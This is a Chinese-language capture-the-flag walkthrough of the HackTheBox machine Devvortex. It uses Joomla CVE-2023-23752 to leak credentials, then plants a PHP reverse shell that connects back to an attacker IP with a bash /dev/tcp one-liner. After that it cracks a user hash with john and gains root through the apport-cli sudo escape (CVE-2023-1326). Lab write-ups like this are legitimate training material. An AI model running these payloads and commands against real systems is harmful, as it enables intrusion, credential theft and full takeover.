简简单单的一个靶机🤏,涵盖了从信息收集发现子域名,CMS漏洞后台getshell,内网信息收集,密码爆破拿低权限用户,sudo -l发现隐秘提权路径,搜索引擎查找最新的提权漏洞,是新手学习的经典靶机
靶机地址
https://app.hackthebox.com/machines/577
适合读者
√ 渗透测试学习者√ 企业安全运维人员√ CTF竞赛战队√ 想掌握链式攻击思维的安全从业者
一、信息收集
VPN 连接正常,能够访问目标机器
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.242 -oA nmapscan/ports
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.242
只开放了 80 和 22 端口
使用 Nmap 自带脚本漏洞扫描没有结果
nmap -script=vuln -p22,80 10.10.11.242 -oA nmapscan/vuln
Web 信息收集
访问 80 端口的 web,自动重定向到域名:devvortex.htb
修改/etc/hosts
文件,添加 IP 和域名,并重启网络,Web 访问成功
vim /etc/hostssystemctl restart networking
whatweb
得到一个邮箱[email protected]
,nginx1.18.0
,系统ubuntu
wappalyzer
dirsearch
dirsearch -u http://devvortex.htb -e *
没有有价值的目录和文件
子域名信息收集
gobuster
gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://devvortex.htb -t 30 --append-domain
发现一个子域名dev.devvortex.htb
添加到 hosts 文件重启网络,可以正常访问到 web
whatweb
得到四个邮箱
一个手机号
-
• +1 5589 55488 55
dirsearch
dirsearch -u http://dev.devvortex.htb -e *
访问README.txt
,发现使用了 Joomla CMS,版本是 4.2
访问/robots.txt
,发现更多接口
访问/administrator
是 joomla 的管理员控制台登录页面
信息整理
二、漏洞探测
web 探测
Joomla 的历史漏洞很多,优先从这里下手
searchsploit joomla 4.2
searchsploit 搜索发现 joomla 4.2.8 之前版本存在未授权信息泄露
找到合适的 POC:https://github.com/ThatNotEasy/CVE-2023-23752
得到一个数据库的账号密码
数据库禁止远程连接😣
使用该账号密码可以登录 web 管理台
反弹 shell
Joomla 可以从后台模板中写入 webshell,路径System
-Templates
-Site Templates
从中选择一个 php 文件进行修改例如 offline.php,在里面加入反弹 shell 的代码,攻击机开启 nc 监听
system('bash -c "bash -i >& /dev/tcp/10.10.14.20/1234 0>&1"'); # 成功system('bash -i >& /dev/tcp/10.10.14.20/1234 0>&1'); # 失败
system 也可以换成其他可执行命令的函数,或者直接将 webshell 小马大马写入
保存后根据上面的提示信息拼接路径如下,在浏览器发起请求,反弹shell成功,轻松拿下👌
http://dev.devvortex.htb/templates/cassiopeia/offline.php
获取普通用户权限
有两个可登录用户 root 和 logan
在目标机器登录数据库,在用户表中找到 logan 用户的密文
mysql -u lewis -pshow databases;use joomla;show tables;select name,username,password from sd4fg_users;
cmd5.com 有结果,玩靶场就没必要花钱了吧😄,本地破解一下
使用 john 破解,得到 logan 用户的密码
echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash.txtjohn --wordlist=/usr/share/john/password.lst hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
成功登录 ssh,在用户目录获取到 flag
三、权限提升
sudo -l
发现有个可以 root 权限的程序/usr/bin/apport-cli
,它是用来崩溃检测和输出报告
查看软件版本是 2.20.11
sudo /usr/bin/apport-cli -v
searchsploit 找到一个 2.20 以下的本地提权漏洞,不适用这个版本
谷歌搜索找到一个CVE-2023-1326
,在 2.26.0 及以前的版本存在本地提权漏洞
根据官方在 GitHub 上的修复日志可知,查看/var/crash/
路径下的.crash
文件,选择v
,再输入感叹号!+命令
就可以 root 权限执行命令
https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb
但是目标机器的该目录为空,没有崩溃日志,需要手动构造一下
例如使用 kill 命令向进程发送段错误(SIGSEGV)信号,模拟崩溃
kill -SIGSEGV PID
提权成功,在 /root 目录下找到 flag⛳️
sudo /usr/bin/apport-cli -c _usr_lib_systemd_systemd.1000.crashv!id!ls -l /root
原文始发于微信公众号(红队安全圈):Devvortex靶机:Getshell只是渗透的开始
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论